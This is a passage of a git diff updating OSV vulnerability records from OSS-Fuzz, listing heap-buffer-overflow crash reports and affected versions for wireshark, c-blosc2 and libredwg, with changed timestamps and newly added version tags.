10","wireshark-4.4.3","ssv0.9.0rc1","ssv0.9.0","v4.2.11","v4.2.12rc0","v4.4.4","v4.4.5rc0","wireshark-4.2.11","wireshark-4.4.4","ssv0.9.1","v4.4.5","v4.4.6rc0","wireshark-4.4.5","ssv0.9.2rc0","v4.4.6","v4.6.7rc0","wireshark-4.4.6","v4.4.7rc0","v4.2.12","v4.2.13rc0","v4.4.7","v4.4.8rc0","wireshark-4.2.12","wireshark-4.4.7","ssv0.9.2","ssv0.9.3rc0","v4.4.8","v4.4.9rc0","wireshark-4.4.8","ssv0.9.3","v4.2.13","v4.2.14rc0","v4.4.10rc0","v4.4.9","v4.6.0rc0","v4.6.0rc1","v4.7.0rc0","wireshark-4.2.13","wireshark-4.4.9","ssv0.9.4rc0","v4.2.14","v4.4.10","v4.6.0","v4.2.15rc0","v4.4.11rc0","v4.6.1rc0","v4.4.11","v4.4.12rc0","v4.6.1","v4.6.2rc0","v4.6.2","v4.6.3rc0","v4.4.12","v4.4.13rc0","v4.4.13","v4.4.14rc0","v4.6.3","v4.6.4rc0","v4.4.14","v4.4.15rc0","v4.6.4","v4.6.5rc0","v4.4.15","v4.4.16rc0","v4.6.5","v4.6.6rc0","v4.4.16","v4.4.17rc0","v4.6.6","ssv0.10.0","v4.7.0","ssv0.10.1rc0","v4.7.1rc0","ssv0.10.1","ssv0.10.2rc0","v4.7.1","v4.7.2rc0","v4.4.17","v4.4.18rc0","v4.6.7","v4.6.8rc0","ssv0.10.2","ssv0.10.3rc0","v4.7.2","v4.7.3rc0","v4.4.18","v4.4.19rc0","v4.6.8","v4.6.9rc0","ssv0.10.3","ssv0.10.4rc0","v4.7.3","v4.7.4rc0","ssv0.10.4","ssv0.10.5rc0","v4.4.19","v4.4.20rc0","v4.6.10rc0","v4.6.9","v4.7.4","v4.7.5rc0","ssv1.0.0rc0","ssv1.1.0rc0","v5.0.0rc0","v5.1.0rc0","ssv1.0.0rc1","v5.0.0rc1"],"ecosystem_specific":{"severity":"MEDIUM"},"database_specific":{"source":"https://github.com/google/oss-fuzz-vulns/blob/main/vulns/wireshark/OSV-2022-867.yaml"}}],"references":[{"type":"REPORT","url":"https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=51090"}]} \ No newline at end of file +{"schema_version":"1.9.2","id":"OSV-2022-867","published":"2022-09-09T00:01:54.157712Z","modified":"2026-11-12T15:30:29.772849237Z","summary":"Heap-buffer-overflow in get_utf_8_string","details":"OSS-Fuzz report: https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=51090\n\n```\nCrash type: Heap-buffer-overflow READ 1\nCrash state:\nget_utf_8_string\ndissect_form_urlencoded\ncall_dissector_work\n```\n","affected":[{"package":{"name":"wireshark","ecosystem":"OSS-Fuzz","purl":"pkg:generic/wireshark"},"ranges":[{"type":"GIT","repo":"https://gitlab.com/wireshark/wireshark.git","events":[{"introduced":"248ff020e7ea17785cc9451f6d24ad61c4310d1f"}]}],"versions":["v4.1.0","v4.1.1rc0","v4.2.0rc0","v4.3.0rc0","v4.2.0rc1","v4.2.0rc2","wireshark-4.2.0rc2","v4.2.0rc3","v4.2.0","v4.2.1rc0","wireshark-4.2.0","v4.2.1","v4.2.2rc0","wireshark-4.2.1","v4.2.2","v4.2.3rc0","wireshark-4.2.2","v4.2.3","v4.2.4rc0","wireshark-4.2.3","v4.2.4","v4.2.5rc0","wireshark-4.2.4","v4.2.5","v4.2.6rc0","wireshark-4.2.5","v4.3.0rc1","v4.2.6","v4.2.7rc0","wireshark-4.2.6","v4.3.0","v4.3.1rc0","v4.3.1","v4.3.2rc0","v4.4.0rc0","v4.5.0rc0","v4.4.0rc1","v4.2.7","v4.2.8rc0","v4.4.0","v4.4.1rc0","wireshark-4.2.7","wireshark-4.4.0","v4.2.8","v4.2.9rc0","v4.4.1","v4.4.2rc0","wireshark-4.2.8","wireshark-4.4.1","v4.2.10rc0","v4.2.9","v4.4.2","v4.4.3rc0","wireshark-4.2.9","wireshark-4.4.2","ssv0.9.0rc0","v4.2.10","v4.2.11rc0","v4.4.3","v4.4.4rc0","wireshark-4.2.10","wireshark-4.4.3","ssv0.9.0rc1","ssv0.9.0","v4.2.11","v4.2.12rc0","v4.4.4","v4.4.5rc0","wireshark-4.2.11","wireshark-4.4.4","ssv0.9.1","v4.4.5","v4.4.6rc0","wireshark-4.4.5","ssv0.9.2rc0","v4.4.6","v4.6.7rc0","wireshark-4.4.6","v4.4.7rc0","v4.2.12","v4.2.13rc0","v4.4.7","v4.4.8rc0","wireshark-4.2.12","wireshark-4.4.7","ssv0.9.2","ssv0.9.3rc0","v4.4.8","v4.4.9rc0","wireshark-4.4.8","ssv0.9.3","v4.2.13","v4.2.14rc0","v4.4.10rc0","v4.4.9","v4.6.0rc0","v4.6.0rc1","v4.7.0rc0","wireshark-4.2.13","wireshark-4.4.9","ssv0.9.4rc0","v4.2.14","v4.4.10","v4.6.0","v4.2.15rc0","v4.4.11rc0","v4.6.1rc0","v4.4.11","v4.4.12rc0","v4.6.1","v4.6.2rc0","v4.6.2","v4.6.3rc0","v4.4.12","v4.4.13rc0","v4.4.13","v4.4.14rc0","v4.6.3","v4.6.4rc0","v4.4.14","v4.4.15rc0","v4.6.4","v4.6.5rc0","v4.4.15","v4.4.16rc0","v4.6.5","v4.6.6rc0","v4.4.16","v4.4.17rc0","v4.6.6","ssv0.10.0","v4.7.0","ssv0.10.1rc0","v4.7.1rc0","ssv0.10.1","ssv0.10.2rc0","v4.7.1","v4.7.2rc0","v4.4.17","v4.4.18rc0","v4.6.7","v4.6.8rc0","ssv0.10.2","ssv0.10.3rc0","v4.7.2","v4.7.3rc0","v4.4.18","v4.4.19rc0","v4.6.8","v4.6.9rc0","ssv0.10.3","ssv0.10.4rc0","v4.7.3","v4.7.4rc0","ssv0.10.4","ssv0.10.5rc0","v4.4.19","v4.4.20rc0","v4.6.10rc0","v4.6.9","v4.7.4","v4.7.5rc0","ssv1.0.0rc0","ssv1.1.0rc0","v5.0.0rc0","v5.1.0rc0","ssv1.0.0rc1","v5.0.0rc1","ssv1.0.0rc2","v5.0.0rc2"],"ecosystem_specific":{"severity":"MEDIUM"},"database_specific":{"source":"https://github.com/google/oss-fuzz-vulns/blob/main/vulns/wireshark/OSV-2022-867.yaml"}}],"references":[{"type":"REPORT","url":"https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=51090"}]} \ No newline at end of file diff --git a/data/OSS-Fuzz/OSV-2023-1350.json b/data/OSS-Fuzz/OSV-2023-1350.json index e83006ab23..4fcb202688 100644 --- a/data/OSS-Fuzz/OSV-2023-1350.json +++ b/data/OSS-Fuzz/OSV-2023-1350.json @@ -1 +1 @@ -{"schema_version":"1.9.2","id":"OSV-2023-1350","published":"2023-12-23T00:12:38.562149Z","modified":"2026-11-11T14:45:02.966375985Z","summary":"Heap-buffer-overflow in inflate","details":"OSS-Fuzz report: https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=65236\n\n```\nCrash type: Heap-buffer-overflow READ 1\nCrash state:\ninflate\nuncompress2\nuncompress\n```\n","affected":[{"package":{"name":"c-blosc2","ecosystem":"OSS-Fuzz","purl":"pkg:generic/c-blosc2"},"ranges":[{"type":"GIT","repo":"https://github.com/Blosc/c-blosc2.git","events":[{"introduced":"e6035df1d3f285af9a2e756fb428633eb7898881"}]}],"versions":["v2.1.0","v2.1.1","v2.10.0","v2.10.1","v2.10.2","v2.10.3","v2.10.4","v2.10.5","v2.11.0","v2.11.1","v2.11.2","v2.11.3","v2.12.0","v2.13.0","v2.13.1","v2.13.2","v2.2.0","v2.3.0","v2.3.1","v2.4.0","v2.4.1","v2.4.2","v2.4.3","v2.5.0","v2.6.0","v2.6.1","v2.7.0","v2.7.1","v2.8.0","v2.9.0","v2.9.1","v2.9.2","v2.9.3","v2.14.0","v2.14.1","v2.14.2","v2.14.3","v2.14.4","v2.15.0","v2.15.1","v2.15.2","v2.16.0","v2.17.0","v2.17.1","v2.18.0","v2.19.0","v2.19.1","v2.20.0","v2.21.0","v2.21.1","v2.21.2","v2.21.3","v2.22.0","v2.23.0","v2.23.1","v3.0.0.rc1","v3.0.0.rc2","v3.0.0","v3.0.1","v3.0.2","v3.0.3","v3.1.0","v3.1.1","v3.1.2","v3.1.3","v3.1.4","v3.1.5","v3.2.0","v3.2.1","v3.2.2","v3.2.3","v3.3.0","v3.3.1","v3.3.2","v3.3.3","v3.3.4","v3.3.5","v3.4.0","v3.4.1","v3.5.0","v3.6.0","v3.6.1"],"ecosystem_specific":{"severity":"MEDIUM"},"database_specific":{"source":"https://github.com/google/oss-fuzz-vulns/blob/main/vulns/c-blosc2/OSV-2023-1350.yaml"}}],"references":[{"type":"REPORT","url":"https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=65236"}]} \ No newline at end of file +{"schema_version":"1.9.2","id":"OSV-2023-1350","published":"2023-12-23T00:12:38.562149Z","modified":"2026-11-12T14:30:05.383500188Z","summary":"Heap-buffer-overflow in inflate","details":"OSS-Fuzz report: https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=65236\n\n```\nCrash type: Heap-buffer-overflow READ 1\nCrash state:\ninflate\nuncompress2\nuncompress\n```\n","affected":[{"package":{"name":"c-blosc2","ecosystem":"OSS-Fuzz","purl":"pkg:generic/c-blosc2"},"ranges":[{"type":"GIT","repo":"https://github.com/Blosc/c-blosc2.git","events":[{"introduced":"e6035df1d3f285af9a2e756fb428633eb7898881"}]}],"versions":["v2.1.0","v2.1.1","v2.10.0","v2.10.1","v2.10.2","v2.10.3","v2.10.4","v2.10.5","v2.11.0","v2.11.1","v2.11.2","v2.11.3","v2.12.0","v2.13.0","v2.13.1","v2.13.2","v2.2.0","v2.3.0","v2.3.1","v2.4.0","v2.4.1","v2.4.2","v2.4.3","v2.5.0","v2.6.0","v2.6.1","v2.7.0","v2.7.1","v2.8.0","v2.9.0","v2.9.1","v2.9.2","v2.9.3","v2.14.0","v2.14.1","v2.14.2","v2.14.3","v2.14.4","v2.15.0","v2.15.1","v2.15.2","v2.16.0","v2.17.0","v2.17.1","v2.18.0","v2.19.0","v2.19.1","v2.20.0","v2.21.0","v2.21.1","v2.21.2","v2.21.3","v2.22.0","v2.23.0","v2.23.1","v3.0.0.rc1","v3.0.0.rc2","v3.0.0","v3.0.1","v3.0.2","v3.0.3","v3.1.0","v3.1.1","v3.1.2","v3.1.3","v3.1.4","v3.1.5","v3.2.0","v3.2.1","v3.2.2","v3.2.3","v3.3.0","v3.3.1","v3.3.2","v3.3.3","v3.3.4","v3.3.5","v3.4.0","v3.4.1","v3.5.0","v3.6.0","v3.6.1","v3.6.2"],"ecosystem_specific":{"severity":"MEDIUM"},"database_specific":{"source":"https://github.com/google/oss-fuzz-vulns/blob/main/vulns/c-blosc2/OSV-2023-1350.yaml"}}],"references":[{"type":"REPORT","url":"https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=65236"}]} \ No newline at end of file diff --git a/data/OSS-Fuzz/OSV-2023-307.json b/data/OSS-Fuzz/OSV-2023-307.json index 20eb639acf..a74e777d23 100644 --- a/data/OSS-Fuzz/OSV-2023-307.json +++ b/data/OSS-Fuzz/OSV-2023-307.json @@ -1 +1 @@ -{"schema_version":"1.9.2","id":"OSV-2023-307","published":"2023-04-13T14:02:09.774988Z","modified":"2026-11-11T14:45:03.795060395Z","summary":"Heap-buffer-overflow in bit_read_BB","details":"OSS-Fuzz report: https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=57911\n\n```\nCrash type: Heap-buffer-overflow READ 1\nCrash state:\nbit_read_BB\ndwg_decode_entity\ndwg_decode_OLE2FRAME_private\n```\n","affected":[{"package":{"name":"libredwg","ecosystem":"OSS-Fuzz","purl":"pkg:generic/libredwg"},"ranges":[{"type":"GIT","repo":"https://github.com/LibreDWG/libredwg","events":[{"introduced":"9d068534eb093790d9be1b8aa8ed47cafc7f2285"}]}],"versions":["0.12.5.4685","0.12.5.4690","0.12.5.4693","0.12.5.4695","0.12.5.4697","0.12.5.4700","0.12.5.4709","0.12.5.4712","0.12.5.4715","0.12.5.4722","0.12.5.4724","0.12.5.4726","0.12.5.4731","0.12.5.4735","0.12.5.4739","0.12.5.4741","0.12.5.4743","0.12.5.4748","0.12.5.4750","0.12.5.4756","0.12.5.4760","0.12.5.4763","0.12.5.4765","0.12.5.4772","0.12.5.4776","0.12.5.4780","0.12.5.4784","0.12.5.4787","0.12.5.4797","0.12.5.4803","0.12.5.4805","0.12.5.4815","0.12.5.4820","0.12.5.4823","0.12.5.4825","0.12.5.4831","0.12.5.4833","0.12.5.4835","0.12.5.4837","0.12.5.4838","0.12.5.4852","0.12.5.4859","0.12.5.4865","0.12.5.4873","0.12.5.4881","0.12.5.4885","0.12.5.4887","0.12.5.4890","0.12.5.4893","0.12.5.4896","0.12.5.4911","0.12.5.4913","0.12.5.4915","0.12.5.4925","0.12.5.4931","0.12.5.4934","0.12.5.4937","0.12.5.4943","0.12.5.4944","0.12.5.4945","0.12.5.4959","0.12.5.4969","0.12.5.4998","0.12.5.5001","0.12.5.5002","0.12.5.5004","0.12.5.5007","0.12.5.5010","0.12.5.5016","0.12.5.5024","0.12.5.5028","0.12.5.5030","0.12.5.5035","0.12.5.5040","0.12.5.5044","0.12.5.5046","0.12.5.5050","0.12.5.5052","0.12.5.5060","0.12.5.5061","0.12.5.5066","0.12.5.5085","0.12.5.5091","0.12.5.5092","0.12.5.5093","0.12.5.5094","0.12.5.5095","0.12.5.5097","0.12.5.5101","0.12.5.5103","0.12.5.5104","0.12.5.5111","0.12.5.5122","0.12.5.5135","0.12.5.5137","0.12.5.5140","0.12.5.5142","0.12.5.5161","0.12.5.5163","0.12.5.5169","0.12.5.5170","0.12.5.5178","0.12.5.5179","0.12.5.5182","0.12.5.5183","0.12.5.5184","0.12.5.5185","0.12.5.5186","0.12.5.5195","0.12.5.5203","0.12.5.5206","0.12.5.5207","0.12.5.5227","0.12.5.5245","0.12.5.5249","0.12.5.5256","0.12.5.5269","0.12.5.5270","0.12.5.5271","0.12.5.5288","0.12.5.5314","0.12.5.5320","0.12.5.5329","0.12.5.5333","0.12.5.5334","0.12.5.5340","0.12.5.5342","0.12.5.5344","0.12.5.5348","0.12.5.5353","0.12.5.5356","0.12.5.5364","0.12.5.5377","0.12.5.5385","0.12.5.5391","0.12.5.5393","0.12.5.5395","0.12.5.5396","0.12.5.5405","0.12.5.5411","0.12.5.5415","0.12.5.5417","0.12.5.5422","0.12.5.5429","0.12.5.5432","0.12.5.5435","0.12.5.5439","0.12.5.5442","0.12.5.5445","0.12.5.5454","0.12.5.5458","0.12.5.5462","0.12.5.5469","0.12.5.5471","0.12.5.5473","0.12.5.5474","0.12.5.5487","0.12.5.5494","0.12.5.5504","0.12.5.5506","0.12.5.5513","0.12.5.5516","0.12.5.5518","0.12.5.5521","0.12.5.5528","0.12.5.5530","0.12.5.5537","0.12.5.5539","0.12.5.5544","0.12.5.5546","0.12.5.5549","0.12.5.5552","0.12.5.5554","0.12.5.5557","0.12.5.5560","0.12.5.5563","0.12.5.5570","0.12.5.5577","0.12.5.5584","0.12.5.5625","0.12.5.5646","0.12.5.5648","0.12.5.5654","0.12.5.5656","0.12.5.5660","0.12.5.5663","0.12.5.5666","0.12.5.5667","0.12.5.5668","0.12.5.5671","0.12.5.5688","0.12.5.5691","0.12.5.5697","0.12.5.5700","0.12.5.5708","0.12.5.5710","0.12.5.5712","0.12.5.5713","0.12.5.5716","0.12.5.5720","0.12.5.5721","0.12.5.5725","0.12.5.5731","0.12.5.5733","0.12.5.5741","0.12.5.5745","0.12.5.5746","0.12.5.5748","0.12.5.5751","0.12.5.5754","0.12.5.5759","0.12.5.5761","0.12.5.5764","0.12.5.5772","0.12.5.5779","0.12.5.5784","0.12.5.5787","0.12.5.5789","0.12.5.5793","0.12.5.5796","0.12.5.5799","0.12.5.5802","0.12.5.5804","0.12.5.5806","0.12.5.5809","0.12.5.5811","0.12.5.5813","0.12.5.5822","0.12.5.5827","0.12.5.5830","0.12.5.5832","0.12.5.5837","0.12.5.5845","0.12.5.5852","0.12.5.5856","0.12.5.5859","0.12.5.5862","0.12.5.5865","0.12.5.5870","0.12.5.5875","0.12.5.5877","0.12.5.5882","0.12.5.5885","0.12.5.5887","0.12.5.5889","0.12.5.5894","0.12.5.5898","0.12.5.5903","0.12.5.5907","0.12.5.5914","0.12.5.5915","0.12.5.5922","0.12.5.5949","0.12.5.5953","0.12.5.5959","0.12.5.5962","0.12.5.5968","0.12.5.5970","0.12.5.5971","0.12.5.5975","0.12.5.5982","0.12.5.6001","0.12.5.6004","0.12.5.6010","0.12.5.6013","0.12.5.6016","0.12.5.6019","0.12.5.6022","0.12.5.6023","0.12.5.6027","0.12.5.6033","0.12.5.6037","0.12.5.6040","0.12.5.6043","0.12.5.6044","0.12.5.6046","0.12.5.6055","0.12.5.6057","0.12.5.6068","0.12.5.6076","0.12.5.6077","0.12.5.6078","0.12.5.6080","0.12.5.6090","0.12.5.6096","0.12.5.6102","0.12.5.6109","0.12.5.6111","0.12.5.6113","0.12.5.6116","0.12.5.6118","0.12.5.6121","0.12.5.6127","0.12.5.6128","0.12.5.6133","0.12.5.6135","0.12.5.6138","0.12.5.6147","0.12.5.6149","0.12.5.6157","0.12.5.6160","0.12.5.6162","0.12.5.6164","0.12.5.6169","0.12.5.6171","0.12.5.6173","0.12.5.6183","0.12.5.6187","0.12.5.6191","0.12.5.6194","0.12.5.6199","0.12.5.6203","0.12.5.6205","0.12.5.6209","0.12.5.6214","0.12.5.6216","0.12.5.6220","0.12.5.6226","0.12.5.6229","0.12.5.6231","0.12.5.6236","0.12.5.6241","0.12.5.6243","0.12.5.6245","0.12.5.6248","0.12.5.6253","0.12.5.6257","0.12.5.6263","0.12.5.6269","0.12.5.6271","0.12.5.6277","0.12.5.6279","0.12.5.6285","0.12.5.6294","0.12.5.6302","0.12.5.6306","0.12.5.6310","0.12.5.6313","0.12.5.6316","0.12.5.6319","0.12.5.6321","0.12.5.6325","0.12.5.6333","0.12.5.6342","0.12.5.6347","0.12.5.6350","0.12.5.6355","0.12.5.6357","0.12.5.6360","0.12.5.6362","0.12.5.6366","0.12.5.6369","0.12.5.6374","0.12.5.6377","0.12.5.6384","0.12.5.6388","0.12.5.6391","0.12.5.6394","0.12.5.6399","0.12.5.6402","0.12.5.6406","0.12.5.6417","0.12.5.6424","0.12.5.6430","0.12.5.6432","0.12.5.6434","0.12.5.6437","0.12.5.6439","0.12.5.6444","0.12.5.6456","0.12.5.6459","0.12.5.6461","0.12.5.6465","0.12.5.6468","0.12.5.6479","0.12.5.6483","0.12.5.6488","0.12.5.6493","0.12.5.6495","0.12.5.6501","0.12.5.6511","0.12.5.6513","0.12.5.6517","0.12.5.6527","0.12.5.6533","0.12.5.6534","0.12.5.6539","0.12.5.6543","0.12.5.6548","0.12.5.6550","0.12.5.6564","0.12.5.6573","0.12.5.6578","0.12.5.6582","0.12.5.6585","0.12.5.6588","0.12.5.6597","0.12.5.6599","0.12.5.6605","0.12.5.6609","0.12.5.6612","0.12.5.6619","0.12.5.6622","0.12.5.6627","0.12.5.6630","0.12.5.6638","0.12.5.6640","0.12.5.6652","0.12.5.6653","0.12.5.6661","0.12.5.6664","0.12.5.6670","0.12.5.6677","0.12.5.6682","0.12.5.6688","0.12.5.6697","0.12.5.6701","0.12.5.6709","0.12.5.6714","0.12.5.6717","0.12.5.6726","0.12.5.6735","0.12.5.6739","0.12.5.6754","0.12.5.6756","0.12.5.6768","0.12.5.6776","0.12.5.6785","0.12.5.6792","0.12.5.6802","0.12.5.6811","0.12.5.6819","0.12.5.6828","0.12.5.6836","0.12.5.6843","0.12.5.6851","0.12.5.6865","0.12.5.6872","0.12.5.6891","0.12.5.6912","0.12.5.6915","0.12.5.6924","0.12.5.6926","0.12.5.6932","0.12.5.6938","0.12.5.6939","0.12.5.6945","0.12.5.6948","0.12.5.6953","0.12.5.6958","0.12.5.6962","0.12.5.6971","0.12.5.6973","0.12.5.6979","0.12.5.6984","0.12.5.6987","0.12.5.6992","0.12.5.5465","0.12.5.6996","0.13","0.13.0.7003","0.13.0.7011","0.13.0.7013","0.13.0.7031","0.13.0.7036","0.13.0.7045","0.13.0.7047","0.13.0.7050","0.13.0.7060","0.13.0.7066","0.13.0.7072","0.13.0.7081","0.13.1","0.13.1.7087","0.13.2","0.13.2.7111","0.13.2.7114","0.13.2.7117","0.13.2.7125","0.13.2.7142","0.13.2.7151","0.13.2.7153","0.13.2.7154","0.13.3","0.13.3.7163","0.13.3.7165","0.13.3.7166","0.13.3.7168","0.13.3.7176","0.13.3.7183","0.13.3.7186","0.13.3.7187","0.13.3.7190","0.13.3.7199","0.13.3.7217","0.13.3.7220","0.13.3.7223","0.13.3.7224","0.13.3.7225","0.13.3.7226","0.13.3.7227","0.13.3.7233","0.13.3.7240","0.13.3.7246","0.13.3.7251","0.13.3.7257","0.13.3.7259","0.13.3.7262","0.13.3.7264","0.13.3.7265","0.13.3.7268","0.13.3.7270","0.13.3.7273","0.13.3.7298","0.13.3.7306","0.13.3.7308","0.13.3.7311","0.13.3.7320","0.13.3.7324","0.13.3.7327","0.13.3.7338","0.13.3.7341","0.13.3.7344","0.13.3.7345","0.13.3.7351","0.13.3.7371","0.13.3.7377","0.13.3.7385","0.13.3.7405","0.13.3.7409","0.13.3.7411","0.13.3.7412","0.13.3.7414","0.13.3.7420","0.13.3.7424","0.13.3.7426","0.13.3.7429","0.13.3.7431","0.13.3.7434","0.13.3.7437","0.13.3.7442","0.13.3.7445","0.13.3.7453","0.13.3.7456","0.13.3.7460","0.13.3.7466","0.13.3.7469","0.13.3.7472","0.13.3.7473","0.13.3.7483","0.13.3.7491","0.13.3.7501","0.13.3.7507","0.13.3.7516","0.13.3.7533","0.13.3.7534","0.13.3.7535","0.13.3.7539","0.13.3.7545","0.13.3.7551","0.13.3.7552","0.13.3.7554","0.13.3.7557","0.13.3.7558","0.13.3.7562","0.13.3.7571","0.13.3.7574","0.13.3.7577","0.13.3.7582","0.13.3.7599","0.13.3.7600","0.13.3.7603","0.13.3.7635","0.13.3.7637","0.13.3.7640","0.13.3.7646","0.13.3.7649","0.13.3.7650","0.13.3.7657","0.13.3.7663","0.13.3.7665","0.13.3.7675","0.13.3.7680","0.13.3.7685","0.13.3.7686","0.13.3.7690","0.13.3.7696","0.13.3.7702","0.13.3.7715","0.13.3.7721","0.13.3.7727","0.13.3.7730","0.13.3.7737","0.13.3.7741","0.13.3.7743","0.13.3.7752","0.13.3.7761","0.13.3.7763","0.13.3.7772","0.13.3.7776","0.13.3.7778","0.13.3.7789","0.13.3.7792","0.13.3.7794","0.13.3.7797","0.13.3.7802","0.13.3.7805","0.13.3.7808","0.13.3.7810","0.13.3.7812","0.13.3.7813","0.13.3.7816","0.13.3.7819","0.13.3.7825","0.13.3.7828","0.13.3.7835","0.13.3.7842","0.13.3.7846","0.13.3.7848","0.13.3.7849","0.13.3.7850","0.13.3.7851","0.13.3.7852","0.13.3.7861","0.13.3.7867","0.13.3.7873","0.13.3.7883","0.13.3.7897","0.13.3.7901","0.13.3.7906","0.13.3.7913","0.13.3.7918","0.13.3.7928","0.13.3.7932","0.13.4.7951","0.13.4.7953","0.13.4.7958","0.13.4.7963","0.13.4.7964","0.13.4","0.13.4.7969","0.13.4.7974","0.13.4.7976","0.13.4.7985","0.13.4.7998","0.13.4.8001","0.13.4.8014","0.13.4.8018","0.13.4.8028","0.13.4.8029","0.13.4.8036","0.13.4.8043","0.13.4.8051","0.13.4.8055","0.13.4.8085","0.13.4.8091","0.13.4.8104","0.13.4.8112","0.13.4.8115","0.13.4.8118","0.13.4.8123","0.13.4.8129","0.13.4.8131","0.13.4.8140","0.13.4.8144","0.13.4.8149","0.13.4.8160","0.13.4.8163","0.13.4.8166","0.13.4.8168","0.13.4.8169","0.13.4.8171","0.13.4.8174","0.13.4.8178","0.13.4.8187","0.13.4.8198","0.13.4.8200","0.13.4.8214","0.13.4.8216","0.13.4.8229","0.13.4.8230","0.13.4.8231","0.13.4.8234","0.13.4.8236","0.13.4.8237","0.13.4.8241","0.13.4.8246","0.13.4.8249","0.13.4.8252","0.13.4.8263","0.13.4.8268","0.13.4.8270","0.13.4.8273","0.13.4.8278","0.13.4.8284","0.13.4.8285","0.13.4.8293","0.13.4.8294","0.13.4.8295","0.13.4.8302","0.13.4.8304","0.13.4.8313","0.13.4.8317","0.13.4.8321","0.13.4.8336","0.13.4.8343","0.13.4.8348","0.13.4.8351","0.13.4.8356","0.13.4.8360","0.14","0.14.8363","0.14.8367","0.14.8374","0.14.8384","0.14.8390","0.14.8394","0.14.8396","0.14.8403","0.14.8406","0.14.8411","0.14.8413","0.14.8415","0.14.8418","0.14.8421","0.14.8433","0.14.8447","0.14.8460","0.14.8464","0.14.8465","0.14.8471","0.14.8487","0.14.8488","0.14.8492","0.14.8522","0.14.8531","0.14.8544","0.14.8547","0.14.8553","0.14.8554","0.14.8556","0.14.8561","0.14.8566","0.14.8578","0.14.8580","0.14.8583","0.14.8584","0.14.8585","0.14.8590","0.14.8592","0.14.8593","0.14.8594","0.14.8597","0.14.8599","0.14.8600","0.14.8601","0.14.8607","0.14.8608","0.14.8612","0.14.8622","0.14.8623","0.14.8625","0.14.8630","0.14.8635","0.14.8639","0.14.8641","0.14.8654","0.14.8656","0.14.8676","0.14.8679","0.14.8726","0.14.8739","0.14.8744","0.14.8750","0.14.8755","0.14.8758","0.14.8761","0.14.8768","0.14.8815","0.14.8823","0.14.8829","0.14.8838","0.14.8841","0.14.8847","0.14.8848","0.14.8850","0.14.8857","0.14.8869","0.14.8878","0.14.8887","0.14.8893","0.14.8907","0.14.8913","0.14.8922","0.14.8927","0.14.8931","0.14.8933","0.14.8936"],"ecosystem_specific":{"severity":"MEDIUM"},"database_specific":{"source":"https://github.com/google/oss-fuzz-vulns/blob/main/vulns/libredwg/OSV-2023-307.yaml"}}],"references":[{"type":"REPORT","url":"https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=57911"}]} \ No newline at end of file +{"schema_version":"1.9.2","id":"OSV-2023-307","published":"2023-04-13T14:02:09.774988Z","modified":"2026-11-12T14:30:05.528845520Z","summary":"Heap-buffer-overflow in bit_read_BB","details":"OSS-Fuzz report: https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=57911\n\n```\nCrash type: Heap-buffer-overflow READ 1\nCrash state:\nbit_read_BB\ndwg_decode_entity\ndwg_decode_OLE2FRAME_private\n```\n","affected":[{"package":{"name":"libredwg","ecosystem":"OSS-Fuzz","purl":"pkg:generic/libredwg"},"ranges":[{"type":"GIT","repo":"https://github.com/LibreDWG/libredwg","events":[{"introduced":"9d068534eb093790d9be1b8aa8ed47cafc7f2285"}]}],"versions":["0.12.5.4685","0.12.5.4690","0.12.5.4693","0.12.5.4695","0.12.5.4697","0.12.5.4700","0.12.5.4709","0.12.5.4712","0.12.5.4715","0.12.5.4722","0.12.5.4724","0.12.5.4726","0.12.5.4731","0.12.5.4735","0.12.5.4739","0.12.5.4741","0.12.5.4743","0.12.5.4748","0.12.5.4750","0.12.5.4756","0.12.5.4760","0.12.5.4763","0.12.5.4765","0.12.5.4772","0.12.5.4776","0.12.5.4780","0.12.5.4784","0.12.5.4787","0.12.5.4797","0.12.5.4803","0.12.5.4805","0.12.5.4815","0.12.5.4820","0.12.5.4823","0.12.5.4825","0.12.5.4831","0.12.5.4833","0.12.5.4835","0.12.5.4837","0.12.5.4838","0.12.5.4852","0.12.5.4859","0.12.5.4865","0.12.5.4873","0.12.5.4881","0.12.5.4885","0.12.5.4887","0.12.5.4890","0.12.5.4893","0.12.5.4896","0.12.5.4911","0.12.5.4913","0.12.5.4915","0.12.5.4925","0.12.5.4931","0.12.5.4934","0.12.5.4937","0.12.5.4943","0.12.5.4944","0.12.5.4945","0.12.5.4959","0.12.5.4969","0.12.5.4998","0.12.5.5001","0.12.5.5002","0.12.5.5004","0.12.5.5007","0.12.5.5010","0.12.5.5016","0.12.5.5024","0.12.5.5028","0.12.5.5030","0.12.5.5035","0.12.5.5040","0.12.5.5044","0.12.5.5046","0.12.5.5050","0.12.5.5052","0.12.5.5060","0.12.5.5061","0.12.5.5066","0.12.5.5085","0.12.5.5091","0.12.5.5092","0.12.5.5093","0.12.5.5094","0.12.5.5095","0.12.5.5097","0.12.5.5101","0.12.5.5103","0.12.5.5104","0.12.5.5111","0.12.5.5122","0.12.5.5135","0.12.5.5137","0.12.5.5140","0.12.5.5142","0.12.5.5161","0.12.5.5163","0.12.5.5169","0.12.5.5170","0.12.5.5178","0.12.5.5179","0.12.5.5182","0.12.5.5183","0.12.5.5184","0.12.5.5185","0.12.5.5186","0.12.5.5195","0.12.5.5203","0.12.5.5206","0.12.5.5207","0.12.5.5227","0.12.5.5245","0.12.5.5249","0.12.5.5256","0.12.5.5269","0.12.5.5270","0.12.5.5271","0.12.5.5288","0.12.5.5314","0.12.5.5320","0.12.5.5329","0.12.5.5333","0.12.5.5334","0.12.5.5340","0.12.5.5342","0.12.5.5344","0.12.5.5348","0.12.5.5353","0.12.5.5356","0.12.5.5364","0.12.5.5377","0.12.5.5385","0.12.5.5391","0.12.5.5393","0.12.5.5395","0.12.5.5396","0.12.5.5405","0.12.5.5411","0.12.5.5415","0.12.5.5417","0.12.5.5422","0.12.5.5429","0.12.5.5432","0.12.5.5435","0.12.5.5439","0.12.5.5442","0.12.5.5445","0.12.5.5454","0.12.5.5458","0.12.5.5462","0.12.5.5469","0.12.5.5471","0.12.5.5473","0.12.5.5474","0.12.5.5487","0.12.5.5494","0.12.5.5504","0.12.5.5506","0.12.5.5513","0.12.5.5516","0.12.5.5518","0.12.5.5521","0.12.5.5528","0.12.5.5530","0.12.5.5537","0.1